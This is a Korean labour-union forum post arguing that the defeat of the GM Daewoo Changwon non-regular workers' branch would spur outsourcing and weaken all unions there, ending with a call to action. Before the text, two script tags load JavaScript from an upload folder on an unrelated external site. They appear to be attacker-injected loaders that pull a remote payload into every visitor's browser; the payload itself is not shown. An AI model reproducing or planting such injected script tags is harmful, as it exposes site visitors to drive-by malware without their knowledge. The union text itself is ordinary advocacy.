<SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/gallery/Cups.js></script> <SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/young/brod.js></script> 비정규직 투쟁에 대하여
\"비정규직 문제를 해결하자 \" \"비정규직을 조직화하여 직접고용,정규직화를 이뤄내자\"는 이야기는 비정규직 노동자만의 문제인가? 만약 비정규직지회가 패배한다면 어떻게 될까?
1.GM대우 전체비정규직투쟁에 익영향을 미칠것이다.
창원 뿐만 아니라 부평, 군산공장에도 많은 비정규직이 근무하고 있다. 이들 역시 비정규직으로 일하면서 저임금과 차별대우를 받고 있다. 창원 비정규직 설립이후 부평과 군산의 비정규직들도 단결하면 바뀔 수 있다는 희망을 가질 수 있었다. 그런데 만약 창우너 투쟁이 깨어진다면 부평과 군사에서도 노동조합을 건설하고 투쟁하는데 어려움이 커질 것이다. 이는 대우차 노동자의 힘을 약화시키는 결과를 낳을 것이다.
2.도급화를 막아내는 힘이 약화 될것이다.
GM자본에게 비정규직지회, 특히 해고되고 계약해지되는 조합원들이 걸림돌이 되고 있다. 지회만 박살난다면 세종, 대정의 도급화는 어렵지 않다. 시작이 반이라는 말과 같이 도급화의 물꼬만 트면 차례차례 도급화를 확대하는 것은 자본에게는 누워서 떡 먹기가 될 것이다.
3. 노동조합 무력화가 급물살을 탈 것이다.
창원공장은 이미 정규직과 비정규직의 반쪽씩 차지하고 있기 때문에 비정규직 투쟁이 패배하면 정규직노조의 힘도 약화될것이다. 합법적으로 생산을 멈추지 못하는 노조가 자본가의 두려움의 대상이 되겠는가? 콧방귀 뀔 것이다. \"너희맘대로 해봐라\" 창원지부의 불신임 이후 벌써 공격은 강화되고 있다. 출입증 패용이라는 개목걸이를 채워 기가차게 만들고 있고, 각 부서협의회에서 들려오는 소리라는게 죄다 노동강도를 강화 시키려는 일색들 뿐이다, 조립부의 경우 소문으로 무성하던 풀맨제도 즉, 각직에서 일부의 인원(50명 정도)을 빼내어 대체인력으로 활용 하겠단다. 짭수를 내리는 것은 아예 생각도 못하고 약간의 여유마저도 생산력으로 활용하겠다는 발상, 노동력을 최대로 착취하겠다는것 같다. 노동자를 기계부속으로 만들겠다는 발상, 한마디로 오금이 저린다. 하나 더 하자면 외주화를 확대할 목적으로 서열보급확대를 부서 안건으로 내놓고 압력을 가하고 있다. 모두다 노조에게는 독과같은 것들이다.
본 이야기와는 조금 벗어나지만 모듈화의 심각성도 생각해 봐야한다. 점점더 노동조합의 힘을 빼버릴 대안들이 GM자본에게는 차곡차곡 준비 돼 있다. 멀지 않은것 같다. 심각성을 인지 할때 행동하지 않으면 다음은 없다.
동지들 일어나라.
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